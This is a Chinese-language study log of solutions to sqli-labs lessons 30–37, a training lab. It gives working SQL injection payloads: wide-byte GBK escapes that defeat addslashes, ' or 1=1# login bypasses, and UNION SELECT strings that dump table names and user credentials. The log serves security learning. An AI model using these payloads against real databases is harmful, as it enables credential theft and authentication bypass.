DAY 6
sqli-labs lesson 30
- 与上一题一样,需要用到HPP
- 查看源代码,参数两边加上了双引号,直接使用lesson 26a与lesson 27a的脚本即可
sqli-labs lesson 31
- 闭合符号为双引号加括号
- 直接报错型注入
sqli-labs lesson 32(Jsp)
- 这一题直接用Jsp处理的一个参数即可
- 闭合符号为单引号与括号,直接报错注入
sqli-labs lesson 32(php)
- 宽字节注入:https://www.cnblogs.com/xishaonian/p/6063961.html
- 思路:由源码,这道题过滤单引号,并且形成’这样的字符,所以我们的想法就是把\“吃掉”或者在他前面再加一个\。'的十六进制为0x5c,0x25所以URL编码为%5c%27,可以在前面加一个%df,形成%df%5c%27,也就是输入参数时,提交%df%27,过滤后形成三个字符,这三个字符在SQL中,因为编码设置为GBK,所以前面两个%df%5c会形成一个汉字,这样,%27就独立出来了。
- 其他的直接使用联合查询语句即可
sqli-labs lesson 33
- addslashes():
addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(’)、双引号(")、反斜线(\)与NUL(NULL字符)。
- 和上一题一样
sqli-labs lesson 34
- 这一关是POST方式
- 用户名输入:饜’ or 1=1#
- 其中饜是utf-16位995c的汉字,分成其中5c转换成utf-8就是\,相当于我们在\之前又加了一个\来让他失效了
sqli-labs lesson 35
- 爆库:?id=99 UNION SELECT 1,database(),3;–+
- 爆表:?id=99 UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=CHAR(115, 101, 99, 117, 114, 105, 116, 121);–+
- 爆字段:?id=99 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_schema=CHAR(115, 101, 99, 117, 114, 105, 116, 121) and table_name=CHAR(117, 115, 101, 114, 115);–+
- 爆记录:?id=99 UNION SELECT 1,group_concat(username),group_concat(password) from security.users;–+
sqli-labs lesson 36
- 宽字节注入,这次用FEFF335c,这是一个有意思的字符,长的这个样子:㍜
- 检测:?id=99㍜’ UNION SELECT 1,2,3;–+
- 其他引号用CHAR()函数绕过
sqli-labs lesson 37
- 和上一题一样,只不过这次是POST
- 用户名:㍜’ or 1=1;#